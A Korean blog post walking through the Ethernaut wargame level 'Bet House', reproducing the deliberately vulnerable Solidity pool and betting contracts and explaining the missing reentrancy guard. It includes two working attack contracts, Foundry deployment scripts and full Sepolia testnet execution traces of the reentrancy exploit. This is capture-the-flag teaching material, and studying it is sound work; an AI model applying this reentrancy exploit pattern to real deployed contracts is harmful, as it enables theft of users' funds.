티스토리 뷰
1. 문제
The Ethernaut
Web3/Solidity based wargame played in the Ethereum Virtual Machine. Each level is a smart contract that needs to be 'hacked'.
ethernaut.openzeppelin.com
Welcome to the Bet House.
You start with 5 Pool Deposit Tokens (PDT).
Could you master the art of strategic gambling and become a bettor?
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {ERC20} from "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import {Ownable} from "openzeppelin-contracts-08/access/Ownable.sol";
import {ReentrancyGuard} from "openzeppelin-contracts-08/security/ReentrancyGuard.sol";
contract BetHouse {
address public pool;
uint256 private constant BET_PRICE = 20;
mapping(address => bool) private bettors;
error InsufficientFunds();
error FundsNotLocked();
constructor(address pool_) {
pool = pool_;
}
function makeBet(address bettor_) external {
if (Pool(pool).balanceOf(msg.sender) < BET_PRICE) {
revert InsufficientFunds();
}
if (!Pool(pool).depositsLocked(msg.sender)) revert FundsNotLocked();
bettors[bettor_] = true;
}
function isBettor(address bettor_) external view returns (bool) {
return bettors[bettor_];
}
}
contract Pool is ReentrancyGuard {
address public wrappedToken;
address public depositToken;
mapping(address => uint256) private depositedEther;
mapping(address => uint256) private depositedPDT;
mapping(address => bool) private depositsLockedMap;
bool private alreadyDeposited;
error DepositsAreLocked();
error InvalidDeposit();
error AlreadyDeposited();
error InsufficientAllowance();
constructor(address wrappedToken_, address depositToken_) {
wrappedToken = wrappedToken_;
depositToken = depositToken_;
}
/**
* @dev Provide 10 wrapped tokens for 0.001 ether deposited and
* 1 wrapped token for 1 pool deposit token (PDT) deposited.
* The ether can only be deposited once per account.
*/
function deposit(uint256 value_) external payable {
// check if deposits are locked
if (depositsLockedMap[msg.sender]) revert DepositsAreLocked();
uint256 _valueToMint;
// check to deposit ether
if (msg.value == 0.001 ether) {
if (alreadyDeposited) revert AlreadyDeposited();
depositedEther[msg.sender] += msg.value;
alreadyDeposited = true;
_valueToMint += 10;
}
// check to deposit PDT
if (value_ > 0) {
if (PoolToken(depositToken).allowance(msg.sender, address(this)) < value_) revert InsufficientAllowance();
depositedPDT[msg.sender] += value_;
PoolToken(depositToken).transferFrom(msg.sender, address(this), value_);
_valueToMint += value_;
}
if (_valueToMint == 0) revert InvalidDeposit();
PoolToken(wrappedToken).mint(msg.sender, _valueToMint);
}
function withdrawAll() external nonReentrant {
// send the PDT to the user
uint256 _depositedValue = depositedPDT[msg.sender];
if (_depositedValue > 0) {
depositedPDT[msg.sender] = 0;
PoolToken(depositToken).transfer(msg.sender, _depositedValue);
}
// send the ether to the user
_depositedValue = depositedEther[msg.sender];
if (_depositedValue > 0) {
depositedEther[msg.sender] = 0;
payable(msg.sender).call{value: _depositedValue}("");
}
PoolToken(wrappedToken).burn(msg.sender, balanceOf(msg.sender));
}
function lockDeposits() external {
depositsLockedMap[msg.sender] = true;
}
function depositsLocked(address account_) external view returns (bool) {
return depositsLockedMap[account_];
}
function balanceOf(address account_) public view returns (uint256) {
return PoolToken(wrappedToken).balanceOf(account_);
}
}
contract PoolToken is ERC20, Ownable {
constructor(string memory name_, string memory symbol_) ERC20(name_, symbol_) Ownable() {}
function mint(address account, uint256 amount) external onlyOwner {
_mint(account, amount);
}
function burn(address account, uint256 amount) external onlyOwner {
_burn(account, amount);
}
}
2. 문제 해결 조건 확인
bettor가 되라고 했으니, 당신(player)의 주소를 인자로 `isBettor` 함수를 호출했을 때 true가 반환되도록 만들어야 합니다.
function isBettor(address bettor_) external view returns (bool) {
return bettors[bettor_];
}
그리고 이를 실현시키기 위해서는 특정 조건을 만족시킨 상태에서 player의 주소를 인자로 `makeBet` 함수를 호출해줘야 합니다. 여기서 특정 조건이라 함은, `makeBet` 함수의 호출자(msg.sender)가 wrappedToken을 20만큼 들고 있어야 하며, 풀 컨트랙트에 예치된 사용자의 자금에 락이 걸려있어야 함을 의미합니다.
uint256 private constant BET_PRICE = 20;
function makeBet(address bettor_) external {
if (Pool(pool).balanceOf(msg.sender) < BET_PRICE) {
revert InsufficientFunds();
}
if (!Pool(pool).depositsLocked(msg.sender)) revert FundsNotLocked();
bettors[bettor_] = true;
}
function balanceOf(address account_) public view returns (uint256) {
return PoolToken(wrappedToken).balanceOf(account_);
}
wrappedToken은 풀 컨트랙트의 `deposit` 함수를 호출하여 민팅할 수 있습니다. 문제는 표면상으로 wrappedToken의 최대 민틴 수량은 15로 제한되어 있네요. 0.001 이더를 사용해서 10개, 문제 인스턴스를 생성할 때 받은 depositToken 5개를 넘겨주고 5개를 받아서 총 15개. 모자라는 5개를 어떻게 긁어모아서 player를 bettor로 등록할 수 있는가가 이 문제를 해결하기 위한 관건이 되겠습니다.
/**
* @dev Provide 10 wrapped tokens for 0.001 ether deposited and
* 1 wrapped token for 1 pool deposit token (PDT) deposited.
* The ether can only be deposited once per account.
*/
function deposit(uint256 value_) external payable {
// check if deposits are locked
if (depositsLockedMap[msg.sender]) revert DepositsAreLocked();
uint256 _valueToMint;
// check to deposit ether
if (msg.value == 0.001 ether) {
if (alreadyDeposited) revert AlreadyDeposited();
depositedEther[msg.sender] += msg.value;
alreadyDeposited = true;
_valueToMint += 10;
}
// check to deposit PDT
if (value_ > 0) {
if (
PoolToken(depositToken).allowance(msg.sender, address(this)) <
value_
) revert InsufficientAllowance();
depositedPDT[msg.sender] += value_;
PoolToken(depositToken).transferFrom(msg.sender, address(this), value_);
_valueToMint += value_;
}
if (_valueToMint == 0) revert InvalidDeposit();
PoolToken(wrappedToken).mint(msg.sender, _valueToMint);
}
3. 단서 찾기
단서 1
`makeBet` 함수를 bettor 자기 자신이 아닌 다른 누군가가 대신 실행해 줄 수 있다는 사실. 아하, 스마트 컨트랙트를 사용해 공격할 수 있겠구나!
function makeBet(address bettor_) external {
if (Pool(pool).balanceOf(msg.sender) < BET_PRICE) {
revert InsufficientFunds();
}
if (!Pool(pool).depositsLocked(msg.sender)) revert FundsNotLocked();
bettors[bettor_] = true;
}
단서 2
`withdrawAll` 함수에 기껏 재진입 공격 방지를 위한 modifier(noReentrant)를 지정해 놨지만, 정작 `deposit` 함수에는 별다른 조치를 취하지 않았다는 사실. 그리고 인출 로직을 먼저 실행하고 가장 마지막에 토큰을 burn 하고 있다는 사실. 이 서순 이슈로 인해 스마트 컨트랙트의 fallback 함수가 먼저 실행되는, 그래서 토큰이 burn 되기 전에 다른 복잡한 로직이 추가로 실행될 수 있다는 굉장히 치명적인 보안 문제가 발생할 수 있다는 사실.
function withdrawAll() external nonReentrant {
// send the PDT to the user
uint256 _depositedValue = depositedPDT[msg.sender];
if (_depositedValue > 0) {
depositedPDT[msg.sender] = 0;
PoolToken(depositToken).transfer(msg.sender, _depositedValue);
}
// send the ether to the user
_depositedValue = depositedEther[msg.sender];
if (_depositedValue > 0) {
depositedEther[msg.sender] = 0;
payable(msg.sender).call{value: _depositedValue}("");
}
PoolToken(wrappedToken).burn(msg.sender, balanceOf(msg.sender));
}
4. 공격
단서는 충분히 주어졌으니 이제 player를 bettor로 등록해 보겠습니다.
그런데 그전에 한 가지. 우리 인간은 머릿속에 들은 것이 많아질수록 피상적인 것에 꽂혀서 본질을 쉽게 망각하고 만다고 생각합니다.


이 문제의 난이도를 보시면 별이 단 두 개. 사실 복잡하게 생각할 필요가 없습니다. 그냥 wrappedToken이라고 하는 ERC-20 표준 토큰 20개만 모으면 되거든요. 다음 항목들만 확인해 봅시다.
아무나 민팅이 가능한가? Yes
누구에게나 전송이 가능한가? Yes
그럼 다중이 돌려서 토큰 20개 모을 수 있는가? Yes
그냥 헛웃음나오게 간단하지만, 사실 비용적인 면에서 비효율적이긴 합니다. 굳이 돌려보실 필요는 없는데, 예시 코드만 아래 남겨놓을게요.
공격 컨트랙트:
contract Exploit {
function exploit(address poolAddr, address playerAddr) external payable {
if (msg.value != 0.002 ether) {
revert("Invalid deposit amount");
}
Depositor depositor1 = new Depositor();
Depositor depositor2 = new Depositor();
depositor1.deposit{value: 0.001 ether}(poolAddr, playerAddr);
depositor2.deposit{value: 0.001 ether}(poolAddr, playerAddr);
}
}
contract Depositor {
function deposit(address poolAddr, address playerAddr) external payable {
if (msg.value != 0.001 ether) {
revert("Invalid deposit amount");
}
Pool pool = Pool(poolAddr);
pool.deposit{value: msg.value}(0);
PoolToken(pool.wrappedToken()).transfer(playerAddr, 10);
}
}
스크립트:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.28;
import {Script, console} from "forge-std/Script.sol";
import {BetHouse, Pool, PoolToken, Exploit} from "src/34.BetHouse.sol";
contract BetHouseScript is Script {
function setUp() public {}
function run() public {
vm.startBroadcast();
address instanceAddr = 0xba8192B7865310cd5229DE75BD67d47E91BF30d0;
address playerAddr = msg.sender;
BetHouse betHouse = BetHouse(instanceAddr);
address poolAddr = betHouse.pool();
Pool pool = Pool(poolAddr);
// Deploy Exploit contract
Exploit exploit = new Exploit();
// Exploit
exploit.exploit{value: 0.002 ether}(poolAddr, playerAddr);
// Lock deposits
pool.lockDeposits();
// Make bet
betHouse.makeBet(playerAddr);
console.log("Bettor:", betHouse.isBettor(playerAddr));
vm.stopBroadcast();
}
}
진짜 공격
좀 더 비용효율적이고 알찬 공격용 컨트랙트입니다. 공격 시나리오는 다음과 같습니다.
- Exploit2 컨트랙트를 배포한다.
- exploit2 컨트랙트에게 5개의 depositToken을 전송한다.
- `exploit` 함수를 호출한다. (0.001 ether 필요)
- 0.001 ether와 5개의 depositToken으로 pool 컨트랙트의 deposit 함수를 호출한다.
- exploit2 컨트랙트에서 15개의 wrappedToken이 민팅된다.
- pool 컨트랙트의 `withdrawAll` 함수를 호출한다.
- exploit 컨트랙트에게 5개의 depositToken이 전송된다.
- exploit 컨트랙트에게 0.001 ether가 전송된다. exploit 컨트랙트의 receive 함수가 호출된다.
- exploit 컨트랙트가 5개의 depositToken으로 pool 컨트랙트의 deposit 함수를 호출한다.
- exploit2 컨트랙트에서 5개의 wrappedToken이 민팅된다. (총합 20개)
- exploit 컨트랙트가 pool 컨트랙트의 `lockDeposits` 함수를 호출해 락을 건다.
- exploit 컨트랙트가 bet house 컨트랙트의 `makeBet` 함수를 호출하여 player를 bettor로 등록한다.
- 마지막으로, 앞서 인출된 이더를 player에게 야무지게 전송한다.
- exploit 컨트랙트가 5개의 depositToken으로 pool 컨트랙트의 deposit 함수를 호출한다.
- pool 컨트랙트가 depositToken의 `burn` 함수를 호출하여 exploit2 컨트랙트의 모든 토큰을 소멸시킨다.
- 0.001 ether와 5개의 depositToken으로 pool 컨트랙트의 deposit 함수를 호출한다.
- 이렇게 exploit 함수의 실행이 종료되고, 모든 depositToken은 소멸되었지만, player는 bettor로 등록된 상태로 남는다.
contract Exploit2 {
BetHouse betHouse;
Pool pool;
PoolToken depositToken;
address player;
constructor(address betHouseAddr, address playerAddr) {
betHouse = BetHouse(betHouseAddr);
pool = Pool(betHouse.pool());
depositToken = PoolToken(pool.depositToken());
player = playerAddr;
}
function exploit() external payable {
if (msg.value != 0.001 ether) {
revert("send 0.001 ether to this contract to exploit");
}
// check deposit token balance of this contract
if (depositToken.balanceOf(address(this)) < 5) {
revert("transfer 5 deposit tokens to this contract to exploit");
}
// deposit 5 deposit tokens and 0.001 ether
// get 15 wrapped tokens
depositToken.approve(address(pool), 5);
pool.deposit{value: msg.value}(5);
// withdraw all (0.001 ether and 5 deposit tokens)
pool.withdrawAll();
}
// withdrawn ether will be caught here
receive() external payable {
// deposit 5 deposit tokens again
// get 5 wrapped tokens, total count of wrapped tokens is 20
depositToken.approve(address(pool), 5);
pool.deposit(5);
// lock deposits to ensure making bet is possible
pool.lockDeposits();
// make bet
betHouse.makeBet(player);
// withdraw ether
player.call{value: address(this).balance}("");
}
}
스크립트 작성
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.28;
import {Script, console} from "forge-std/Script.sol";
import {BetHouse, Pool, PoolToken, Exploit2} from "src/34.BetHouse.sol";
contract BetHouse2Script is Script {
function setUp() public {}
function run() public {
vm.startBroadcast();
address instanceAddr = 0xc8DcdaE30Def764e5eC9E3d86E2258aba4941B93;
address playerAddr = msg.sender;
BetHouse betHouse = BetHouse(instanceAddr);
PoolToken depositToken = PoolToken(
Pool(betHouse.pool()).depositToken()
);
Exploit2 exploit2 = new Exploit2(instanceAddr, playerAddr);
depositToken.transfer(address(exploit2), 5);
exploit2.exploit{value: 0.001 ether}();
bool isBettor = betHouse.isBettor(playerAddr);
console.log("Is Bettor:", isBettor);
vm.stopBroadcast();
}
}
스크립트 실행
좀 달라진 부분이 있다고 한다면, foundry에 배치 실행 기능이 추가가 돼서 `--slow` 플래그를 추가해야만 하나 완료되고 다음 거 실행하고 이런 식으로 트랜잭션이 순차적을 실행됩니다. 이렇게 해야만 하고, 배치 기능은 EIP-7702랑 EIP-5792를 활용을 해야하는 것 같은데, 이건 나중에 알아봅시다.
forge script script/34.BetHouse2.s.sol --account dev --sender 0x965B0E63e00E7805569ee3B428Cf96330DFc57EF --rpc-url sepolia --slow -vvvv
[⠊] Compiling...
[⠃] Compiling 1 files with Solc 0.8.29
[⠊] Solc 0.8.29 finished in 770.21ms
Compiler run successful with warnings:
...
Traces:
[1002142] BetHouse2Script::run()
├─ [0] VM::startBroadcast()
│ └─ ← [Return]
├─ [2302] 0xc8DcdaE30Def764e5eC9E3d86E2258aba4941B93::pool() [staticcall]
│ └─ ← [Return] 0x4e41C1aE9D0C7B7E94999b03B27206B365967427
├─ [2380] 0x4e41C1aE9D0C7B7E94999b03B27206B365967427::depositToken() [staticcall]
│ └─ ← [Return] 0xC0A90889b44f5c4E82CE7EeD3fC6A6C804C4FB5f
├─ [568365] → new Exploit2@0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d
│ ├─ [302] 0xc8DcdaE30Def764e5eC9E3d86E2258aba4941B93::pool() [staticcall]
│ │ └─ ← [Return] 0x4e41C1aE9D0C7B7E94999b03B27206B365967427
│ ├─ [380] 0x4e41C1aE9D0C7B7E94999b03B27206B365967427::depositToken() [staticcall]
│ │ └─ ← [Return] 0xC0A90889b44f5c4E82CE7EeD3fC6A6C804C4FB5f
│ └─ ← [Return] 2383 bytes of code
├─ [29929] 0xC0A90889b44f5c4E82CE7EeD3fC6A6C804C4FB5f::transfer(Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d], 5)
│ ├─ emit Transfer(from: 0x965B0E63e00E7805569ee3B428Cf96330DFc57EF, to: Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d], value: 5)
│ └─ ← [Return] true
├─ [341340] Exploit2::exploit{value: 1000000000000000}()
│ ├─ [626] 0xC0A90889b44f5c4E82CE7EeD3fC6A6C804C4FB5f::balanceOf(Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d]) [staticcall]
│ │ └─ ← [Return] 5
│ ├─ [24647] 0xC0A90889b44f5c4E82CE7EeD3fC6A6C804C4FB5f::approve(0x4e41C1aE9D0C7B7E94999b03B27206B365967427, 5)
│ │ ├─ emit Approval(owner: Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d], spender: 0x4e41C1aE9D0C7B7E94999b03B27206B365967427, value: 5)
│ │ └─ ← [Return] true
│ ├─ [130953] 0x4e41C1aE9D0C7B7E94999b03B27206B365967427::deposit{value: 1000000000000000}(5)
│ │ ├─ [788] 0xC0A90889b44f5c4E82CE7EeD3fC6A6C804C4FB5f::allowance(Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d], 0x4e41C1aE9D0C7B7E94999b03B27206B365967427) [staticcall]
│ │ │ └─ ← [Return] 5
│ │ ├─ [27834] 0xC0A90889b44f5c4E82CE7EeD3fC6A6C804C4FB5f::transferFrom(Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d], 0x4e41C1aE9D0C7B7E94999b03B27206B365967427, 5)
│ │ │ ├─ emit Approval(owner: Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d], spender: 0x4e41C1aE9D0C7B7E94999b03B27206B365967427, value: 0)
│ │ │ ├─ emit Transfer(from: Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d], to: 0x4e41C1aE9D0C7B7E94999b03B27206B365967427, value: 5)
│ │ │ └─ ← [Return] true
│ │ ├─ [48951] 0x0657C5C4d7Ea3cD7A0efE521a62648cB0915dDd0::mint(Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d], 15)
│ │ │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d], value: 15)
│ │ │ └─ ← [Stop]
│ │ └─ ← [Stop]
│ ├─ [175032] 0x4e41C1aE9D0C7B7E94999b03B27206B365967427::withdrawAll()
│ │ ├─ [23129] 0xC0A90889b44f5c4E82CE7EeD3fC6A6C804C4FB5f::transfer(Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d], 5)
│ │ │ ├─ emit Transfer(from: 0x4e41C1aE9D0C7B7E94999b03B27206B365967427, to: Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d], value: 5)
│ │ │ └─ ← [Return] true
│ │ ├─ [133601] Exploit2::receive{value: 1000000000000000}()
│ │ │ ├─ [22547] 0xC0A90889b44f5c4E82CE7EeD3fC6A6C804C4FB5f::approve(0x4e41C1aE9D0C7B7E94999b03B27206B365967427, 5)
│ │ │ │ ├─ emit Approval(owner: Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d], spender: 0x4e41C1aE9D0C7B7E94999b03B27206B365967427, value: 5)
│ │ │ │ └─ ← [Return] true
│ │ │ ├─ [52114] 0x4e41C1aE9D0C7B7E94999b03B27206B365967427::deposit(5)
│ │ │ │ ├─ [788] 0xC0A90889b44f5c4E82CE7EeD3fC6A6C804C4FB5f::allowance(Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d], 0x4e41C1aE9D0C7B7E94999b03B27206B365967427) [staticcall]
│ │ │ │ │ └─ ← [Return] 5
│ │ │ │ ├─ [25834] 0xC0A90889b44f5c4E82CE7EeD3fC6A6C804C4FB5f::transferFrom(Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d], 0x4e41C1aE9D0C7B7E94999b03B27206B365967427, 5)
│ │ │ │ │ ├─ emit Approval(owner: Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d], spender: 0x4e41C1aE9D0C7B7E94999b03B27206B365967427, value: 0)
│ │ │ │ │ ├─ emit Transfer(from: Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d], to: 0x4e41C1aE9D0C7B7E94999b03B27206B365967427, value: 5)
│ │ │ │ │ └─ ← [Return] true
│ │ │ │ ├─ [3151] 0x0657C5C4d7Ea3cD7A0efE521a62648cB0915dDd0::mint(Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d], 5)
│ │ │ │ │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d], value: 5)
│ │ │ │ │ └─ ← [Stop]
│ │ │ │ └─ ← [Stop]
│ │ │ ├─ [20388] 0x4e41C1aE9D0C7B7E94999b03B27206B365967427::lockDeposits()
│ │ │ │ └─ ← [Stop]
│ │ │ ├─ [25423] 0xc8DcdaE30Def764e5eC9E3d86E2258aba4941B93::makeBet(0x965B0E63e00E7805569ee3B428Cf96330DFc57EF)
│ │ │ │ ├─ [1414] 0x4e41C1aE9D0C7B7E94999b03B27206B365967427::balanceOf(Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d]) [staticcall]
│ │ │ │ │ ├─ [626] 0x0657C5C4d7Ea3cD7A0efE521a62648cB0915dDd0::balanceOf(Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d]) [staticcall]
│ │ │ │ │ │ └─ ← [Return] 20
│ │ │ │ │ └─ ← [Return] 20
│ │ │ │ ├─ [511] 0x4e41C1aE9D0C7B7E94999b03B27206B365967427::depositsLocked(Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d]) [staticcall]
│ │ │ │ │ └─ ← [Return] true
│ │ │ │ └─ ← [Stop]
│ │ │ ├─ [55] 0x965B0E63e00E7805569ee3B428Cf96330DFc57EF::fallback{value: 1000000000000000}()
│ │ │ │ └─ ← [Stop]
│ │ │ └─ ← [Stop]
│ │ ├─ [626] 0x0657C5C4d7Ea3cD7A0efE521a62648cB0915dDd0::balanceOf(Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d]) [staticcall]
│ │ │ └─ ← [Return] 20
│ │ ├─ [3221] 0x0657C5C4d7Ea3cD7A0efE521a62648cB0915dDd0::burn(Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d], 20)
│ │ │ ├─ emit Transfer(from: Exploit2: [0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d], to: 0x0000000000000000000000000000000000000000, value: 20)
│ │ │ └─ ← [Stop]
│ │ └─ ← [Stop]
│ └─ ← [Stop]
├─ [511] 0xc8DcdaE30Def764e5eC9E3d86E2258aba4941B93::isBettor(0x965B0E63e00E7805569ee3B428Cf96330DFc57EF) [staticcall]
│ └─ ← [Return] true
├─ [0] console::log("Is Bettor:", true) [staticcall]
│ └─ ← [Stop]
├─ [0] VM::stopBroadcast()
│ └─ ← [Return]
└─ ← [Stop]
Script ran successfully.
== Logs ==
Is Bettor: true
...
##### sepolia
✅ [Success] Hash: 0x3ed29cb9fd537b07bbdb2e8e6fb31dee4e89d78e27a2d9e52c6d7dc743248ee0
Contract Address: 0x4F23b7A817abFb109E63c7A37ee3e3EBcD55666d
Block: 9289688
Paid: 0.000000680865851141 ETH (680857 gas * 0.001000013 gwei)
##### sepolia
✅ [Success] Hash: 0x042c1837a3fad997f2a6306b7fdaecd45a7307dda05e5baa7e59064fb73d3f51
Block: 9289689
Paid: 0.000000046701653814 ETH (46701 gas * 0.001000014 gwei)
##### sepolia
✅ [Success] Hash: 0x6f6fd7f0813c4d0ecec1bf351a5c6cf6a7e89be57412fd5d593fbeab4abc21e7
Block: 9289690
Paid: 0.000000295687843892 ETH (295684 gas * 0.001000013 gwei)
✅ Sequence #1 on sepolia | Total Paid: 0.000001023255348847 ETH (1023242 gas * avg 0.001000013 gwei)
제출

오늘의 교훈
서순 조심. Reentrancy Guard는 웬만하면 코어로직에는 다 붙이자.
전체 코드
GitHub - piatoss3612/Ethernaut: Ethernaut 문제 풀이 모음
Ethernaut 문제 풀이 모음. Contribute to piatoss3612/Ethernaut development by creating an account on GitHub.
github.com
'Solidity > Hacking' 카테고리의 다른 글
| [Ethernaut] 33. Magic Animal Carousel (0) | 2025.10.08 |
|---|---|
| [Ethernaut] 35. Elliptic Token (0) | 2025.10.04 |
| [Ethernaut] 32. Impersonator (1) | 2024.11.23 |
| Ethernaut 문제 풀이 및 키워드 정리 (0) | 2024.06.27 |
| [Ethernaut] 30. HigherOrder (0) | 2024.06.27 |